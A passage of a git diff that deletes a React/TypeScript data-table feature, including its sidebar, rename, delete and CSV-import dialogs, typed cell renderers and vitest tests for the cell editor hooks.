-            }
-            title={
-                <div className="flex items-center gap-2">
-                    <span className="font-semibold">{dataTable?.baseName}</span>
-                </div>
-            }
-        />
-    );
-};
-
-export default DataTableHeader;
diff --git a/client/src/pages/automation/datatable/components/DataTableLeftSidebar.tsx b/client/src/pages/automation/datatable/components/DataTableLeftSidebar.tsx
deleted file mode 100644
index c47618a1538..00000000000
--- a/client/src/pages/automation/datatable/components/DataTableLeftSidebar.tsx
+++ /dev/null
@@ -1,68 +0,0 @@
-import PageLoader from '@/components/PageLoader';
-import {Input} from '@/components/ui/input';
-import {LeftSidebarNav, LeftSidebarNavItem} from '@/shared/layout/LeftSidebarNav';
-
-import useDataTableLeftSidebar from '../hooks/useDataTableLeftSidebar';
-import DataTableLeftSidebarDropdownMenu from './DataTableLeftSidebarDropdownMenu';
-import DeleteDataTableAlertDialog from './DeleteDataTableAlertDialog';
-import RenameDataTableDialog from './RenameDataTableDialog';
-
-interface Props {
-    currentId?: string;
-}
-
-const DataTableLeftSidebar = ({currentId}: Props) => {
-    const {error, filteredTables, handleSearchChange, isLoading, search} = useDataTableLeftSidebar();
-
-    return (
-        <div className="flex h-full flex-col">
-            <div className="space-y-2 px-4 pb-3 pt-0.5">
-                <Input
-                    onChange={(event) => handleSearchChange(event.target.value)}
-                    placeholder="Search tables..."
-                    value={search}
-                />
-            </div>
-
-            <div className="flex-1 overflow-y-auto">
-                <PageLoader errors={[error]} loading={isLoading}>
-                    <LeftSidebarNav
-                        body={
-                            <>
-                                {filteredTables.map((table) => {
-                                    const active = currentId != null ? table.id === currentId : false;
-
-                                    return (
-                                        <div className="group relative flex items-center" key={table.id}>
-                                            <LeftSidebarNavItem
-                                                item={{current: active, name: table.baseName}}
-                                                toLink={`/automation/datatables/${table.id}`}
-                                            />
-
-                                            <div className="absolute right-2 top-1/2 z-10 -translate-y-1/2">
-                                                <DataTableLeftSidebarDropdownMenu
-                                                    tableId={table.id}
-                                                    tableName={table.baseName}
-                                                />
-                                            </div>
-                                        </div>
-                                    );
-                                })}
-
-                                {filteredTables.length === 0 && (
-                                    <div className="px-2 py-2 text-sm text-muted-foreground">No tables found</div>
-                                )}
-                            </>
-                        }
-                    />
-                </PageLoader>
-            </div>
-
-            <DeleteDataTableAlertDialog />
-
-            <RenameDataTableDialog />
-        </div>
-    );
-};
-
-export default DataTableLeftSidebar;
diff --git a/client/src/pages/automation/datatable/components/DataTableLeftSidebarDropdownMenu.tsx b/client/src/pages/automation/datatable/components/DataTableLeftSidebarDropdownMenu.tsx
deleted file mode 100644
index 15c885e6104..00000000000
--- a/client/src/pages/automation/datatable/components/DataTableLeftSidebarDropdownMenu.tsx
+++ /dev/null
@@ -1,45 +0,0 @@
-import Button from '@/components/Button/Button';
-import {DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger} from '@/components/ui/dropdown-menu';
-import {MoreVertical, Pencil, Trash2} from 'lucide-react';
-
-import useDeleteDataTableAlertDialog from '../hooks/useDeleteDataTableAlertDialog';
-import useRenameDataTableDialog from '../hooks/useRenameDataTableDialog';
-
-interface Props {
-    tableId: string;
-    tableName: string;
-}
-
-const DataTableLeftSidebarDropdownMenu = ({tableId, tableName}: Props) => {
-    const {handleOpen: handleDeleteOpen} = useDeleteDataTableAlertDialog();
-    const {handleOpen: handleRenameOpen} = useRenameDataTableDialog();
-
-    return (
-        <DropdownMenu>
-            <DropdownMenuTrigger asChild>
-                <Button
-                    aria-label="Table menu"
-                    className="w-6 opacity-0 transition-opacity group-hover:opacity-100 data-[state=open]:opacity-100"
-                    icon={<MoreVertical className="h-4" />}
-                    size="iconSm"
-                    variant="ghost"
-                />
-            </DropdownMenuTrigger>
-
-            <DropdownMenuContent align="end">
-                <DropdownMenuItem onSelect={() => handleRenameOpen(tableId, tableName)}>
-                    <Pencil className="mr-2 size-4" /> Rename
-                </DropdownMenuItem>
-
-                <DropdownMenuItem
-                    className="text-red-600 focus:text-red-700"
-                    onSelect={() => handleDeleteOpen(tableId, tableName)}
-                >
-                    <Trash2 className="mr-2 size-4" /> Delete
-                </DropdownMenuItem>
-            </DropdownMenuContent>
-        </DropdownMenu>
-    );
-};
-
-export default DataTableLeftSidebarDropdownMenu;
diff --git a/client/src/pages/automation/datatable/components/DeleteDataTableAlertDialog.tsx b/client/src/pages/automation/datatable/components/DeleteDataTableAlertDialog.tsx
deleted file mode 100644
index 2b47bc3c2dc..00000000000
--- a/client/src/pages/automation/datatable/components/DeleteDataTableAlertDialog.tsx
+++ /dev/null
@@ -1,11 +0,0 @@
-import DeleteAlertDialog from '@/components/DeleteAlertDialog';
-
-import useDeleteDataTableAlertDialog from '../hooks/useDeleteDataTableAlertDialog';
-
-const DeleteDataTableAlertDialog = () => {
-    const {handleClose, handleDelete, open} = useDeleteDataTableAlertDialog();
-
-    return <DeleteAlertDialog onCancel={handleClose} onDelete={handleDelete} open={open} />;
-};
-
-export default DeleteDataTableAlertDialog;
diff --git a/client/src/pages/automation/datatable/components/DeleteDataTableColumnDialog.tsx b/client/src/pages/automation/datatable/components/DeleteDataTableColumnDialog.tsx
deleted file mode 100644
index eff28f018e8..00000000000
--- a/client/src/pages/automation/datatable/components/DeleteDataTableColumnDialog.tsx
+++ /dev/null
@@ -1,38 +0,0 @@
-import {
-    AlertDialog,
-    AlertDialogAction,
-    AlertDialogCancel,
-    AlertDialogContent,
-    AlertDialogDescription,
-    AlertDialogFooter,
-    AlertDialogHeader,
-    AlertDialogTitle,
-} from '@/components/ui/alert-dialog';
-
-import useDeleteDataTableColumnDialog from '../hooks/useDeleteDataTableColumnDialog';
-
-const DeleteDataTableColumnDialog = () => {
-    const {columnName, handleDelete, handleOpenChange, open} = useDeleteDataTableColumnDialog();
-
-    return (
-        <AlertDialog onOpenChange={handleOpenChange} open={open}>
-            <AlertDialogContent>
-                <AlertDialogHeader>
-                    <AlertDialogTitle>Delete column</AlertDialogTitle>
-
-                    <AlertDialogDescription>
-                        {`Are you sure you want to delete column "${columnName}"? This action cannot be undone and will remove all data in this column.`}
-                    </AlertDialogDescription>
-                </AlertDialogHeader>
-
-                <AlertDialogFooter>
-                    <AlertDialogCancel>Cancel</AlertDialogCancel>
-
-                    <AlertDialogAction onClick={handleDelete}>Delete</AlertDialogAction>
-                </AlertDialogFooter>
-            </AlertDialogContent>
-        </AlertDialog>
-    );
-};
-
-export default DeleteDataTableColumnDialog;
diff --git a/client/src/pages/automation/datatable/components/DeleteDataTableRowsDialog.tsx b/client/src/pages/automation/datatable/components/DeleteDataTableRowsDialog.tsx
deleted file mode 100644
index 77fb2787472..00000000000
--- a/client/src/pages/automation/datatable/components/DeleteDataTableRowsDialog.tsx
+++ /dev/null
@@ -1,38 +0,0 @@
-import {
-    AlertDialog,
-    AlertDialogAction,
-    AlertDialogCancel,
-    AlertDialogContent,
-    AlertDialogDescription,
-    AlertDialogFooter,
-    AlertDialogHeader,
-    AlertDialogTitle,
-} from '@/components/ui/alert-dialog';
-
-import useDeleteDataTableRowsDialog from '../hooks/useDeleteDataTableRowsDialog';
-
-const DeleteDataTableRowsDialog = () => {
-    const {handleDelete, handleOpenChange, open, rowCount} = useDeleteDataTableRowsDialog();
-
-    return (
-        <AlertDialog onOpenChange={handleOpenChange} open={open}>
-            <AlertDialogContent>
-                <AlertDialogHeader>
-                    <AlertDialogTitle>Delete records</AlertDialogTitle>
-
-                    <AlertDialogDescription>
-                        {`Are you sure you want to delete ${rowCount} selected record${rowCount === 1 ? '' : 's'}? This action cannot be undone.`}
-                    </AlertDialogDescription>
-                </AlertDialogHeader>
-
-                <AlertDialogFooter>
-                    <AlertDialogCancel>Cancel</AlertDialogCancel>
-
-                    <AlertDialogAction onClick={handleDelete}>Delete</AlertDialogAction>
-                </AlertDialogFooter>
-            </AlertDialogContent>
-        </AlertDialog>
-    );
-};
-
-export default DeleteDataTableRowsDialog;
diff --git a/client/src/pages/automation/datatable/components/ImportDataTableCsvDialog.tsx b/client/src/pages/automation/datatable/components/ImportDataTableCsvDialog.tsx
deleted file mode 100644
index 11aac124484..00000000000
--- a/client/src/pages/automation/datatable/components/ImportDataTableCsvDialog.tsx
+++ /dev/null
@@ -1,118 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    Dialog,
-    DialogCloseButton,
-    DialogContent,
-    DialogDescription,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-} from '@/components/ui/dialog';
-import {Input} from '@/components/ui/input';
-import {Label} from '@/components/ui/label';
-import {FileText, Loader2, X} from 'lucide-react';
-import {useState} from 'react';
-
-import useImportDataTableCsvDialog from '../hooks/useImportDataTableCsvDialog';
-
-const ImportDataTableCsvDialog = () => {
-    const [importFile, setImportFile] = useState<File | null>(null);
-
-    const {handleImport, handleOpenChange, isPending, open} = useImportDataTableCsvDialog();
-
-    const handleDialogOpenChange = (nextOpen: boolean) => {
-        handleOpenChange(nextOpen);
-
-        if (!nextOpen) {
-            setImportFile(null);
-        }
-    };
-
-    const handleImportClick = async () => {
-        if (!importFile) return;
-
-        const text = await importFile.text();
-
-        handleImport(text);
-        setImportFile(null);
-    };
-
-    const handleCancel = () => {
-        handleOpenChange(false);
-        setImportFile(null);
-    };
-
-    return (
-        <Dialog onOpenChange={handleDialogOpenChange} open={open}>
-            <DialogContent>
-                <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                    <div className="flex flex-col space-y-1">
-                        <DialogTitle>Import CSV</DialogTitle>
-
-                        <DialogDescription>Upload a CSV file to add rows to this table.</DialogDescription>
-                    </div>
-
-                    <DialogCloseButton />
-                </DialogHeader>
-
-                <div className="space-y-3 py-2">
-                    <div className="space-y-1">
-                        <Label htmlFor="csvFile">CSV file</Label>
-
-                        <Input
-                            accept=".csv,text/csv"
-                            className="bg-background"
-                            id="csvFile"
-                            onChange={(event) => {
-                                const file = event.target.files?.[0] ?? null;
-
-                                setImportFile(file);
-                            }}
-                            type="file"
-                        />
-
-                        {importFile && (
-                            <div className="space-y-2 pt-1">
-                                <div className="flex items-center justify-between rounded-md border p-2">
-                                    <div className="flex items-center gap-2">
-                                        <FileText className="h-4 w-4 text-muted-foreground" />
-
-                                        <span className="text-sm">{importFile.name}</span>
-
-                                        <span className="text-xs text-muted-foreground">
-                                            ({(importFile.size / 1024).toFixed(1)} KB)
-                                        </span>
-                                    </div>
-
-                                    <Button
-                                        className="size-6"
-                                        icon={<X className="size-3" />}
-                                        onClick={() => setImportFile(null)}
-                                        type="button"
-                                        variant="ghost"
-                                    />
-                                </div>
-                            </div>
-                        )}
-                    </div>
-                </div>
-
-                <DialogFooter>
-                    <Button onClick={handleCancel} variant="outline">
-                        Cancel
-                    </Button>
-
-                    <Button
-                        disabled={!importFile || isPending}
-                        icon={isPending ? <Loader2 className="animate-spin" /> : undefined}
-                        onClick={handleImportClick}
-                    >
-                        {isPending ? 'Importing…' : 'Import'}
-                    </Button>
-                </DialogFooter>
-            </DialogContent>
-        </Dialog>
-    );
-};
-
-export default ImportDataTableCsvDialog;
diff --git a/client/src/pages/automation/datatable/components/RenameDataTableColumnDialog.tsx b/client/src/pages/automation/datatable/components/RenameDataTableColumnDialog.tsx
deleted file mode 100644
index 161f1bc9523..00000000000
--- a/client/src/pages/automation/datatable/components/RenameDataTableColumnDialog.tsx
+++ /dev/null
@@ -1,60 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    Dialog,
-    DialogCloseButton,
-    DialogContent,
-    DialogDescription,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-} from '@/components/ui/dialog';
-import {Input} from '@/components/ui/input';
-import {Label} from '@/components/ui/label';
-
-import useRenameDataTableColumnDialog from '../hooks/useRenameDataTableColumnDialog';
-
-const RenameDataTableColumnDialog = () => {
-    const {canRename, currentName, handleOpenChange, handleRenameSubmit, handleRenameValueChange, open, renameValue} =
-        useRenameDataTableColumnDialog();
-
-    return (
-        <Dialog onOpenChange={handleOpenChange} open={open}>
-            <DialogContent>
-                <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                    <div className="flex flex-col space-y-1">
-                        <DialogTitle>Rename Column</DialogTitle>
-
-                        <DialogDescription>Enter a new name for this column.</DialogDescription>
-                    </div>
-
-                    <DialogCloseButton />
-                </DialogHeader>
-
-                <div className="space-y-3 py-2">
-                    <div className="space-y-1">
-                        <Label>New name for "{currentName}"</Label>
-
-                        <Input
-                            autoFocus
-                            onChange={(event) => handleRenameValueChange(event.target.value)}
-                            placeholder="Enter new column name"
-                            value={renameValue}
-                        />
-                    </div>
-                </div>
-
-                <DialogFooter>
-                    <Button onClick={() => handleOpenChange(false)} variant="outline">
-                        Cancel
-                    </Button>
-
-                    <Button disabled={!canRename} onClick={handleRenameSubmit}>
-                        Rename
-                    </Button>
-                </DialogFooter>
-            </DialogContent>
-        </Dialog>
-    );
-};
-
-export default RenameDataTableColumnDialog;
diff --git a/client/src/pages/automation/datatable/components/RenameDataTableDialog.tsx b/client/src/pages/automation/datatable/components/RenameDataTableDialog.tsx
deleted file mode 100644
index 60c0d784ae0..00000000000
--- a/client/src/pages/automation/datatable/components/RenameDataTableDialog.tsx
+++ /dev/null
@@ -1,60 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    Dialog,
-    DialogCloseButton,
-    DialogContent,
-    DialogDescription,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-} from '@/components/ui/dialog';
-import {Input} from '@/components/ui/input';
-import {Label} from '@/components/ui/label';
-
-import useRenameDataTableDialog from '../hooks/useRenameDataTableDialog';
-
-const RenameDataTableDialog = () => {
-    const {canRename, handleOpenChange, handleRenameSubmit, handleRenameValueChange, open, renameValue} =
-        useRenameDataTableDialog();
-
-    return (
-        <Dialog onOpenChange={handleOpenChange} open={open}>
-            <DialogContent>
-                <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                    <div className="flex flex-col space-y-1">
-                        <DialogTitle>Rename Table</DialogTitle>
-
-                        <DialogDescription>Enter a new name for this table.</DialogDescription>
-                    </div>
-
-                    <DialogCloseButton />
-                </DialogHeader>
-
-                <div className="space-y-3 py-2">
-                    <div className="space-y-1">
-                        <Label>New name</Label>
-
-                        <Input
-                            autoFocus
-                            onChange={(event) => handleRenameValueChange(event.target.value)}
-                            placeholder="Enter new table name"
-                            value={renameValue}
-                        />
-                    </div>
-                </div>
-
-                <DialogFooter>
-                    <Button onClick={() => handleOpenChange(false)} variant="outline">
-                        Cancel
-                    </Button>
-
-                    <Button disabled={!canRename} onClick={handleRenameSubmit}>
-                        Rename
-                    </Button>
-                </DialogFooter>
-            </DialogContent>
-        </Dialog>
-    );
-};
-
-export default RenameDataTableDialog;
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/BooleanCellRenderer.tsx b/client/src/pages/automation/datatable/components/cell-renderers/BooleanCellRenderer.tsx
deleted file mode 100644
index dee752c87cc..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/BooleanCellRenderer.tsx
+++ /dev/null
@@ -1,31 +0,0 @@
-import {Checkbox} from '@/components/ui/checkbox';
-
-import useBooleanCellEditor from './hooks/useBooleanCellEditor';
-
-import type {BooleanCellRendererProps, GridRowType} from './types';
-
-export const createBooleanCellRenderer = ({columnName, onToggle, setLocalRows}: BooleanCellRendererProps) => {
-    return ({row}: {row: GridRowType}) => {
-        if (row.id === '-1') {
-            return null;
-        }
-
-        const {checked, handleToggle} = useBooleanCellEditor({
-            columnName,
-            onToggle,
-            row,
-            setLocalRows,
-        });
-
-        return (
-            <div className="flex h-full w-full items-center justify-center">
-                <Checkbox
-                    aria-label={`Toggle ${columnName}`}
-                    checked={checked}
-                    className="size-4 cursor-pointer"
-                    onCheckedChange={(value) => handleToggle(value === true)}
-                />
-            </div>
-        );
-    };
-};
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/DateCellRenderer.tsx b/client/src/pages/automation/datatable/components/cell-renderers/DateCellRenderer.tsx
deleted file mode 100644
index 9c26356ab66..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/DateCellRenderer.tsx
+++ /dev/null
@@ -1,58 +0,0 @@
-import Button from '@/components/Button/Button';
-import {Calendar} from '@/components/ui/calendar';
-import {Popover, PopoverContent, PopoverTrigger} from '@/components/ui/popover';
-import {format as formatDate} from 'date-fns';
-
-import useDateCellEditor, {formatDateValue} from './hooks/useDateCellEditor';
-
-import type {GridRowType} from './types';
-
-interface DateCellRendererProps {
-    columnName: string;
-    row: {row: GridRowType};
-}
-
-export const DateCellRenderer = ({columnName, row: {row}}: DateCellRendererProps) => {
-    const cellValue = (row as Record<string, unknown>)[columnName];
-    const displayText = formatDateValue(cellValue);
-
-    return <span className="text-sm text-foreground">{displayText}</span>;
-};
-
-interface DateEditCellRendererProps {
-    columnName: string;
-    row: GridRowType;
-    onRowChange: (row: GridRowType, commitChanges?: boolean) => void;
-}
-
-export const DateEditCellRenderer = ({columnName, onRowChange, row}: DateEditCellRendererProps) => {
-    const {handleDateSelect, handleOpenChange, initialDate, isPopoverOpen} = useDateCellEditor({
-        columnName,
-        onRowChange,
-        row,
-    });
-
-    return (
-        <Popover onOpenChange={handleOpenChange} open={isPopoverOpen}>
-            <PopoverTrigger asChild>
-                <Button className="h-7 w-full justify-start px-2 text-xs" variant="outline">
-                    {initialDate ? formatDate(initialDate, 'yyyy-MM-dd') : 'Pick a date'}
-                </Button>
-            </PopoverTrigger>
-
-            <PopoverContent align="start" className="p-2" side="bottom">
-                <Calendar mode="single" onSelect={handleDateSelect} selected={initialDate} />
-            </PopoverContent>
-        </Popover>
-    );
-};
-
-export const createDateCellRenderer = (columnName: string) => {
-    return (props: {row: GridRowType}) => <DateCellRenderer columnName={columnName} row={{row: props.row}} />;
-};
-
-export const createDateEditCellRenderer = (columnName: string) => {
-    return (props: {row: GridRowType; onRowChange: (row: GridRowType, commitChanges?: boolean) => void}) => (
-        <DateEditCellRenderer columnName={columnName} onRowChange={props.onRowChange} row={props.row} />
-    );
-};
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/DateTimeCellRenderer.tsx b/client/src/pages/automation/datatable/components/cell-renderers/DateTimeCellRenderer.tsx
deleted file mode 100644
index dc4fe30527c..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/DateTimeCellRenderer.tsx
+++ /dev/null
@@ -1,87 +0,0 @@
-import Button from '@/components/Button/Button';
-import {Calendar} from '@/components/ui/calendar';
-import {Input} from '@/components/ui/input';
-import {Popover, PopoverContent, PopoverTrigger} from '@/components/ui/popover';
-import {format as formatDate} from 'date-fns';
-import {Clock} from 'lucide-react';
-
-import useDateTimeCellEditor, {formatDateTimeValue} from './hooks/useDateTimeCellEditor';
-
-import type {GridRowType} from './types';
-
-interface DateTimeCellRendererProps {
-    columnName: string;
-    row: {row: GridRowType};
-}
-
-export const DateTimeCellRenderer = ({columnName, row: {row}}: DateTimeCellRendererProps) => {
-    const cellValue = (row as Record<string, unknown>)[columnName];
-    const displayText = formatDateTimeValue(cellValue);
-
-    return <span className="text-sm text-foreground">{displayText}</span>;
-};
-
-interface DateTimeEditCellProps {
-    columnName: string;
-    row: GridRowType;
-    onRowChange: (row: GridRowType, commitChanges?: boolean) => void;
-}
-
-export const DateTimeEditCell = ({columnName, onRowChange, row}: DateTimeEditCellProps) => {
-    const {
-        formattedHours,
-        formattedMinutes,
-        handleCommit,
-        handleDateSelect,
-        handleOpenChange,
-        handleTimeChange,
-        isPopoverOpen,
-        selectedDate,
-    } = useDateTimeCellEditor({
-        columnName,
-        onRowChange,
-        row,
-    });
-
-    return (
-        <Popover onOpenChange={handleOpenChange} open={isPopoverOpen}>
-            <PopoverTrigger asChild>
-                <Button className="h-7 w-full justify-start gap-2 px-2 text-xs" variant="outline">
-                    <Clock className="size-3.5" />
-
-                    {selectedDate ? formatDate(selectedDate, 'yyyy-MM-dd HH:mm') : 'Pick date & time'}
-                </Button>
-            </PopoverTrigger>
-
-            <PopoverContent align="start" className="p-3" side="bottom">
-                <div className="flex flex-col gap-3">
-                    <Calendar mode="single" onSelect={handleDateSelect} selected={selectedDate} />
-
-                    <div className="flex items-center gap-2">
-                        <Input
-                            className="h-8 w-24"
-                            onChange={handleTimeChange}
-                            step="60"
-                            type="time"
-                            value={`${formattedHours}:${formattedMinutes}`}
-                        />
-
-                        <Button className="h-8" onClick={handleCommit} size="sm">
-                            Save
-                        </Button>
-                    </div>
-                </div>
-            </PopoverContent>
-        </Popover>
-    );
-};
-
-export const createDateTimeCellRenderer = (columnName: string) => {
-    return (props: {row: GridRowType}) => <DateTimeCellRenderer columnName={columnName} row={{row: props.row}} />;
-};
-
-export const createDateTimeEditCellRenderer = (columnName: string) => {
-    return (props: {row: GridRowType; onRowChange: (row: GridRowType, commitChanges?: boolean) => void}) => (
-        <DateTimeEditCell columnName={columnName} onRowChange={props.onRowChange} row={props.row} />
-    );
-};
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/NumberCellRenderer.tsx b/client/src/pages/automation/datatable/components/cell-renderers/NumberCellRenderer.tsx
deleted file mode 100644
index f0549ed92d9..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/NumberCellRenderer.tsx
+++ /dev/null
@@ -1,38 +0,0 @@
-import {Input} from '@/components/ui/input';
-
-import useNumberCellEditor from './hooks/useNumberCellEditor';
-
-import type {GridRowType} from './types';
-
-interface NumberEditCellProps {
-    columnName: string;
-    row: GridRowType;
-    onRowChange: (row: GridRowType, commitChanges?: boolean) => void;
-}
-
-export const NumberEditCell = ({columnName, onRowChange, row}: NumberEditCellProps) => {
-    const {handleBlur, handleChange, handleKeyDown, inputValue} = useNumberCellEditor({
-        columnName,
-        onRowChange,
-        row,
-    });
-
-    return (
-        <Input
-            autoFocus
-            className="h-7"
-            inputMode="decimal"
-            onBlur={handleBlur}
-            onChange={handleChange}
-            onKeyDown={handleKeyDown}
-            type="number"
-            value={inputValue}
-        />
-    );
-};
-
-export const createNumberEditCellRenderer = (columnName: string) => {
-    return (props: {row: GridRowType; onRowChange: (row: GridRowType, commitChanges?: boolean) => void}) => (
-        <NumberEditCell columnName={columnName} onRowChange={props.onRowChange} row={props.row} />
-    );
-};
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/StringCellRenderer.tsx b/client/src/pages/automation/datatable/components/cell-renderers/StringCellRenderer.tsx
deleted file mode 100644
index 5a5048f8740..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/StringCellRenderer.tsx
+++ /dev/null
@@ -1,54 +0,0 @@
-import Button from '@/components/Button/Button';
-import {Popover, PopoverContent, PopoverTrigger} from '@/components/ui/popover';
-import {Textarea} from '@/components/ui/textarea';
-
-import useStringCellEditor from './hooks/useStringCellEditor';
-
-import type {GridRowType} from './types';
-
-const STRING_EDITOR_MIN_HEIGHT = 180;
-
-interface StringEditCellProps {
-    columnName: string;
-    row: GridRowType;
-    onRowChange: (row: GridRowType, commitChanges?: boolean) => void;
-}
-
-export const StringEditCell = ({columnName, onRowChange, row}: StringEditCellProps) => {
-    const {handleKeyDown, handleOpenChange, handleTextChange, isOpen, text} = useStringCellEditor({
-        columnName,
-        onRowChange,
-        row,
-    });
-
-    return (
-        <Popover onOpenChange={handleOpenChange} open={isOpen}>
-            <PopoverTrigger asChild>
-                <Button className="h-7 w-full justify-start px-2 text-xs" variant="outline">
-                    Edit text…
-                </Button>
-            </PopoverTrigger>
-
-            <PopoverContent align="start" className="-mt-9 w-96 p-0" side="bottom">
-                <div className="flex flex-col gap-3">
-                    <Textarea
-                        autoFocus
-                        className="w-full resize-y"
-                        onChange={handleTextChange}
-                        onKeyDown={handleKeyDown}
-                        placeholder={`Enter ${columnName}`}
-                        rows={10}
-                        style={{minHeight: `${STRING_EDITOR_MIN_HEIGHT}px`}}
-                        value={text}
-                    />
-                </div>
-            </PopoverContent>
-        </Popover>
-    );
-};
-
-export const createStringEditCellRenderer = (columnName: string) => {
-    return (props: {row: GridRowType; onRowChange: (row: GridRowType, commitChanges?: boolean) => void}) => (
-        <StringEditCell columnName={columnName} onRowChange={props.onRowChange} row={props.row} />
-    );
-};
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/hooks/tests/useBooleanCellEditor.test.ts b/client/src/pages/automation/datatable/components/cell-renderers/hooks/tests/useBooleanCellEditor.test.ts
deleted file mode 100644
index b159339765b..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/hooks/tests/useBooleanCellEditor.test.ts
+++ /dev/null
@@ -1,126 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useBooleanCellEditor from '../useBooleanCellEditor';
-
-describe('useBooleanCellEditor', () => {
-    const mockOnToggle = vi.fn();
-    const mockSetLocalRows = vi.fn();
-
-    const defaultProps = {
-        columnName: 'isActive',
-        onToggle: mockOnToggle,
-        row: {id: 'row-1', isActive: false},
-        setLocalRows: mockSetLocalRows,
-    };
-
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('returns checked as false when cell value is false', () => {
-            const {result} = renderHook(() => useBooleanCellEditor(defaultProps));
-
-            expect(result.current.checked).toBe(false);
-        });
-
-        it('returns checked as true when cell value is true', () => {
-            const props = {
-                ...defaultProps,
-                row: {id: 'row-1', isActive: true},
-            };
-
-            const {result} = renderHook(() => useBooleanCellEditor(props));
-
-            expect(result.current.checked).toBe(true);
-        });
-
-        it('returns checked as false when cell value is undefined', () => {
-            const props = {
-                ...defaultProps,
-                row: {id: 'row-1'},
-            };
-
-            const {result} = renderHook(() => useBooleanCellEditor(props));
-
-            expect(result.current.checked).toBe(false);
-        });
-
-        it('returns checked as true for truthy non-boolean values', () => {
-            const props = {
-                ...defaultProps,
-                row: {id: 'row-1', isActive: 'yes'},
-            };
-
-            const {result} = renderHook(() => useBooleanCellEditor(props));
-
-            expect(result.current.checked).toBe(true);
-        });
-    });
-
-    describe('handleToggle', () => {
-        it('updates local rows optimistically', () => {
-            const {result} = renderHook(() => useBooleanCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleToggle(true);
-            });
-
-            expect(mockSetLocalRows).toHaveBeenCalledTimes(1);
-            expect(mockSetLocalRows).toHaveBeenCalledWith(expect.any(Function));
-
-            const updaterFn = mockSetLocalRows.mock.calls[0][0];
-            const previousRows = [{id: 'row-1', isActive: false}];
-            const updatedRows = updaterFn(previousRows);
-
-            expect(updatedRows).toEqual([{id: 'row-1', isActive: true}]);
-        });
-
-        it('does not update other rows', () => {
-            const {result} = renderHook(() => useBooleanCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleToggle(true);
-            });
-
-            const updaterFn = mockSetLocalRows.mock.calls[0][0];
-            const previousRows = [
-                {id: 'row-1', isActive: false},
-                {id: 'row-2', isActive: true},
-            ];
-            const updatedRows = updaterFn(previousRows);
-
-            expect(updatedRows).toEqual([
-                {id: 'row-1', isActive: true},
-                {id: 'row-2', isActive: true},
-            ]);
-        });
-
-        it('calls onToggle with correct parameters', () => {
-            const {result} = renderHook(() => useBooleanCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleToggle(true);
-            });
-
-            expect(mockOnToggle).toHaveBeenCalledTimes(1);
-            expect(mockOnToggle).toHaveBeenCalledWith('row-1', 'isActive', true);
-        });
-
-        it('toggles from true to false', () => {
-            const props = {
-                ...defaultProps,
-                row: {id: 'row-1', isActive: true},
-            };
-
-            const {result} = renderHook(() => useBooleanCellEditor(props));
-
-            act(() => {
-                result.current.handleToggle(false);
-            });
-
-            expect(mockOnToggle).toHaveBeenCalledWith('row-1', 'isActive', false);
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/hooks/tests/useDateCellEditor.test.ts b/client/src/pages/automation/datatable/components/cell-renderers/hooks/tests/useDateCellEditor.test.ts
deleted file mode 100644
index cdcee8553e3..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/hooks/tests/useDateCellEditor.test.ts
+++ /dev/null
@@ -1,159 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useDateCellEditor, {formatDateValue, parseDate} from '../useDateCellEditor';
-
-describe('useDateCellEditor', () => {
-    const mockOnRowChange = vi.fn();
-
-    const defaultProps = {
-        columnName: 'createdAt',
-        onRowChange: mockOnRowChange,
-        row: {createdAt: '2024-01-15', id: 'row-1'},
-    };
-
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('returns popover open by default', () => {
-            const {result} = renderHook(() => useDateCellEditor(defaultProps));
-
-            expect(result.current.isPopoverOpen).toBe(true);
-        });
-
-        it('parses initial date from row', () => {
-            const {result} = renderHook(() => useDateCellEditor(defaultProps));
-
-            expect(result.current.initialDate).toBeInstanceOf(Date);
-            expect(result.current.initialDate?.getFullYear()).toBe(2024);
-            expect(result.current.initialDate?.getMonth()).toBe(0);
-            expect(result.current.initialDate?.getDate()).toBe(15);
-        });
-
-        it('returns undefined initialDate when cell value is empty', () => {
-            const props = {
-                ...defaultProps,
-                row: {createdAt: '', id: 'row-1'},
-            };
-
-            const {result} = renderHook(() => useDateCellEditor(props));
-
-            expect(result.current.initialDate).toBeUndefined();
-        });
-
-        it('returns formatted display text', () => {
-            const {result} = renderHook(() => useDateCellEditor(defaultProps));
-
-            expect(result.current.displayText).toBe('2024-01-15');
-        });
-
-        it('returns empty display text when cell value is empty', () => {
-            const props = {
-                ...defaultProps,
-                row: {createdAt: '', id: 'row-1'},
-            };
-
-            const {result} = renderHook(() => useDateCellEditor(props));
-
-            expect(result.current.displayText).toBe('');
-        });
-    });
-
-    describe('handleDateSelect', () => {
-        it('calls onRowChange with formatted date and commits', () => {
-            const {result} = renderHook(() => useDateCellEditor(defaultProps));
